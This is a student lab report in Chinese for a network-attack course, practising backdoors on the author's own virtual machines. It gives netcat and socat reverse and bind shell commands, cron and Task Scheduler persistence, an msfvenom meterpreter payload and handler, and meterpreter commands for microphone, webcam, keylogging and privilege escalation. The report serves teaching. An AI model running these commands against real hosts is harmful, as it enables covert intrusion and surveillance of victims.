2018-2019-2 网络对抗技术 20165322 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165322 Exp2 后门原理与实践
目录
实验准备
实验内容与步骤
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
实验遇到的问题与解决
基础问题回答
实验总结与感想
一、实验准备
(一)后门概念
- 后门就是不经过正常认证流程而访问系统的通道。
- 后门可以潜伏在编译器、操作系统、应用程序甚至专用的后门程序中
- 那我们要怎么实现一个后门攻击呢?
- 首先呢我们要有一个后门程序
- 然后我们要想办法把这个程序放到目标机的系统里
- 接着我们得想一个办法让这个程序悄悄跑起来
- 还得隐藏它不被本机的恶意代码检测程序发现
也不能被本机的或网络上的防火墙发现
返回目录(二)常用后门工具netcat
- 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。我们今天就是要用它获取目标机的shell。
- 光看概念糊糊涂涂的,查找了一下资料,有兴趣可以看这里natcat使用总结和这里NetCat(NC)原理和使用,除此之外在kali中直接使用man nc命令也可以了解nc的作用
接下来我们测试netcat的一些应用
kali攻击windows
查看kali的本机ip
ifconfig

- kali运行监听指令
nc -l -p 5322 - Windows反弹连接kali
ncat.exe -e cmd.exe 192.168.132.134 5322 Linux下看到Windows的命令提示,获得windows的shell

windows攻击kail
查看windows的本机ip
ipconfig

- 使用ncat.exe程序打开监听
ncat.exe -l -p 5322,其中-l:listen,-p:port - 在kali中反弹连接Windows
ncat 192.168.43.247 5322 -e /bin/sh,其中-e表示编辑 windows下获得一个linux shell,可运行任何指令

nc传输数据
- 原理就是A端先开放监听端口,B端开放同样的端口主动申请连接A端ip。连接成功即可通信。
- Windows下监听端口,
ncat.exe -l -p 5322 - kali反弹连接到Windows,
nc 192.168.43.247 5322 - 连接建立成功,双方可以相互传输数据...反向操作试验也成功了

nc传输文件
- 原理和传输数据也没差。。多了个参数把文件传过去接过来的。。其实一样
- 由于这个文件传输只是一次性的,传完以后连接就会自动断开。因此我在windows下建立了hi.in文件,并且在里面输入内容。果然把文件内容一起传给了kali
- kali下监听端口,
nc -l -p 5322 > hello.out - windows反弹连接kali
ncat.exe 192.168.132.134 5322 < hi.in

socat
- socat是nc的增强版,它使用的格式是
socat [options] <address> <address>,其中两个address是必选项,而options是可选项。 - socat也算是开发的比较完善的工具了,它的基本功能就是建立两个双向的字节流,了解更多可以参考socat的介绍与使用
Meterpreter
- Meterpreter是Metasploit的默认Windows系统下的Shell Code,关于它的更多知识,可以了解Meterpreter命令详解
- Meterpreter是linux自带且只在linux下使用的。
- 关于Meterpreter的一些参数如下:
-p使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode-x使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中-e使用的编码器,用于对shellcode变形,为了免杀-i编码器的迭代次数。如上即使用该编码器编码5次-bbadchar 是payload中需要去除的字符-f生成文件的类型>输出到哪个文件
返回目录
二、实验内容与步骤
(一)使用netcat获取主机操作Shell,cron启动
- 由于linux自带crontab指令,我们模拟windows攻击linux的场景,想要做反向攻击的,可以去下载一个win的cron软件。
- 打开windows的监听
ncat.exe -l -p 5322 - 接下来在kali使用命令
crontab -e,Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。在这里crontab指令增加一条定时任务,"-e"表示编辑。 接下来,由于是第一次编辑,要选择编辑器,我们选择3.并在最后一行添加指令
25 * * * * /bin/natcat 192.168.43.247 5322 -e /bin/sh,wq保存退出。这步指令是让kali在每个小时25分钟的时候自动反弹链接上windows。

- 使用指令
crontab -l可以查看修改情况 到25分时,windows终端上已经获得了kali的shell了

返回目录
(二)使用socat获取主机操作Shell, 任务计划启动
- 在主机创建一个系统任务,并且给它设定一个触发器(这里设置的是当锁定任何用户的工作站时),socat就会启动5322端口监听
- 这时候攻击方用5322端口向主机发送一个反弹连接信号。就可以轻松获取主机shell
启动socat
打开计算机管理,选择
任务计划程序->创建任务

- 常规填上名称
新建触发器-开始任务选择
工作站锁定时

新建操作-程序或脚本选择socat的路径,添加参数填写
tcp-listen:5322 exec:cmd.exe,pty,stderr。把cmd.exe绑定到端口5322,同时把cmd.exe的stderr重定向到stdout上.

完成新建任务后,按
Windows+L快捷键锁定计算机,再次打开时,双击任务计划程序库可以发现之前创建的任务已经开始运行,且cmd中socat.exe已经启动
获取windows操作shell
- 打开kali终端输入指令
socat - tcp:192.168.43.247:5322,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5322端口,此时可以发现已经成功获得了一个cmd shell。

返回目录
(三)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 我们接下来使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter.揭开Meterpreter的神秘面纱介绍了meterpreter的一些底层原理。
- 我们用meterpreter生成一个后门文件放到主机里,当然会被杀软查杀。所以首先,我们要关闭防火墙、杀软、电脑保护等所有防护措施。
这时候我们可以在kali上生成一个后门文件了:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.132.134 LPORT=5322 -f exe > 5322_backdoor.exe

在windows输入指令
ncat.exe -l 5322 > 20165322_backdoor.exe开启监听并将接受的数据写入backdoor.exe文件中,这里使用参数-lv查看连接的状态

在kali中执行
nc 192.168.43.247 5322 < 20165322_backdoor.exe,注意这里的IP为被控主机IP,即WindowsIP

- 此时kali中新打开一个终端,使用
msfconsole进入msf控制台,这一段是在设置控制台的监听对象。- 输入
use exploit/multi/handler使用监听模块,设置payload - 使用和生成后门程序时相同的payload:
set payload windows/meterpreter/reverse_tcp set LHOST 192.168.132.134此处为kali的IP- 端口号:
set LPORT 5322 - 设置完成后,输入
exploit开始监听

- 输入
此时结束windows的上一个进程,并且运行Windows下的后门程序
20165322_backdoor.exe,再看kali已经获得了windows的shell

返回目录
(四)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 基于上一个实验里做的meterpreter获取widows的shell,我们可以接着对被控制端进行一些不为人知的操作,比如……
使用
record_mic可以截获一段音频,他会自动保存到一个目录下。

使用
webcam_snap可以使用摄像头进行拍照,emmm拍了很多

使用
screenshot可以进行截屏

kali使用
keyscan_start指令开始记录下击键的过程,在主机输入一些指令后。kali使用keyscan_dump指令读取击键的记录

- 先使用
getuid指令查看当前用户,使用getsystem指令进行提权 - 使用
upload / download往受害机传/从受害机下载文件
- 更多的操作可以参考这篇Meterpreter命令详解
返回目录
三、实验遇到的问题与解决
- 实验三生成后门文件时一开始用的复杂的指令,提示错误如下图。

没有老师提供的文件……嗯好吧指令换成比较简单的那个就成功了。
- 进入控制台的时候……大家都有神奇的图案……但是我的(#゚Д゚)……他报错了。。不过没有影响使用,也没有查到解决的方案……

返回目录
四、基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 很难过的是我知道我的电脑里已经有后门了……Windows Defender几乎每个星期都要给我报一次。它进入我电脑的原因是买不起正版visio……于是安装了一个破解软件破解了正版的visio。SO,我心甘情愿地把杀软都给关了把它放进来的我也很绝望。。。删也删不干净要不然visio没法用了。希望它并没有做太多坏事吧嗯。。
- 重装系统的时候。。小哥拿了个硬盘直接往我机子里面拷的。。这有后门谁顶得住啊
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- 学特洛伊木马的时候,我们了解到:它通过链接、下载等方式进入你的电脑系统。然后摇身一变伪装成某个对话框、按钮。促使你按下它,这个时候,后门就在你的电脑里启动起来了。
- 在本次实验里利用cron在linux里设置定时发送反弹连接的时间,使得监听方可以轻易地在他想要的时间获取你的shell。
- 本次在windows中则在任务计划管理中设置特定条件,使得反弹连接自动发送。
(3)Meterpreter有哪些给你映像深刻的功能?
- 它可以自动生成后门程序,只需要你输入几个简单的信息。
- 使用起来出奇的简单——只需要输入一些指令。。功能也相当齐全,可以说是覆盖了主机的所有I/O了,从音频、视频到键盘或者文件的操作,应有尽有。虽然实验过程中我感到它持续的时常有一些短……是否有一些鸡肋。
(4)如何发现自己有系统有没有被安装后门?
- 最低级的就是用杀软直接杀
- 平时也可以观察一下任务管理器里面的任务。。不过一般后门程序都会把名称伪装成系统文件,不容易被发现。
返回目录
五、实验总结与感想
这次实验总的思路就是先想办法生成一个后门程序(用来获得目标机的shell或者进行一些操作),然后监听目标机,用某种手段使得目标机自动发送一个反弹连接,连接上以后可以为所欲为了。做完以后第一个想法是后悔没有开两台电脑和舍友一起做,感觉会很有意思!对于后台的植入有了一些了解……然鹅!还是对自己电脑里的后台有点没办法,,希望能快点找到方法把它去除掉。
ps:虽然全程都不需要关闭kali的防火墙,不过附上教程连接:Kali之——关闭防火墙
返回目录
2018-2019-2 网络对抗技术 20165322 Exp2 后门原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...
- 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...
- 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...
- 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...
- 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...
- 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...
- 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...
- 2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践 1.基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 下载自己不熟悉的软件时含有病毒. 网络钓鱼, ...
随机推荐
- Eclipse常用快捷键之技巧篇
如何让你阅读代码如虎添翼?使用快捷键可以让你快到飞起来~ 显示类的方法和属性:ctrl+o ctrl+o能够看到你的类的层次结构,使你搜索该类某个方法更加的方便 显示类的继承:ctrl+T ctrl+ ...
- SpringMVC笔记:annotation注解式开发
一.配置式开发 在我们之前的学习中,springmvc使用配置式开发模式,需要在核心配置文件中springmvc.xml注册大量的bean来注入controller控制器,工作繁琐容易出错,下面我们学 ...
- ETL第一篇(Kettle Spoon) 初遇
ETL第一篇(Kettle Spoon) 初遇 ETL第二篇 调用webservice 简介 Kettle 是一款国外开源的 ETL 工具,纯 Java 编写,绿色无需安装,数据抽取高效稳定(数据迁移 ...
- 配置JDK1.7开发环境
学习java知识,首先要安装jdk来配置开发环境和java运行环境,本文介绍一下JDK配置流程和验证配置成功的方法. 一.配置JDK 1.首先下载jdk1.7压缩包并解压到D盘. 2.我的电脑--右键 ...
- IntelliJ IDEA 2018.3 安装+永久激活[Windows]
IntelliJ IDEA 作为一个优秀的Java开发环境,深受许多开发者喜爱,但是它的价格却贵得让人无法接受,这篇文章将介绍永久激活IntelliJ IDEA的方法(使用破解补丁). 系统环境:Wi ...
- Java枚举、静态导入、自动拆装箱、增强for循环、可变参数
一.枚举简介 1.什么是枚举? 需要在一定范围内取值,这个值只能是这个范围内中的任意一个 现实场景:交通信号灯,有三种颜色,但是每次只能亮三种颜色里面的任意一个 2.使用一个关键字 enum enum ...
- Java:类加载器(ClassLoader)
听上去很高端,其实一般自定义类加载器不需要用户去实现解析的过程,只要负责实现获取类对应的.class字节流部分就ok了,摘录深入理解Java虚拟机的一段话 虚拟机设计团队把类加载阶段中的“通过一个类的 ...
- SQL修改表结构
--(1)向数据库Student表中添加Name字段 use MR_NXT alter table student add Name char(20) --(2)将Student表中Name的字段的数 ...
- Angular入门教程一
1 前言 前端技术的发展是如此之快,各种优秀技术.优秀框架的出现简直让人目不暇接,紧跟时代潮流,学习掌握新知识自然是不敢怠慢. AngularJS是google在维护,其在国外已经十分火热,可是国内的 ...
- GNU工具 ar
1.ar基本用法 ar命令可以用来创建.修改库,也可以从库中提出单个模块.库是一单独的文件,里面包含了按照特定的结构组织起来的其它的一些文件(称做此库文件的member).原始文件的内容.模式.时间戳 ...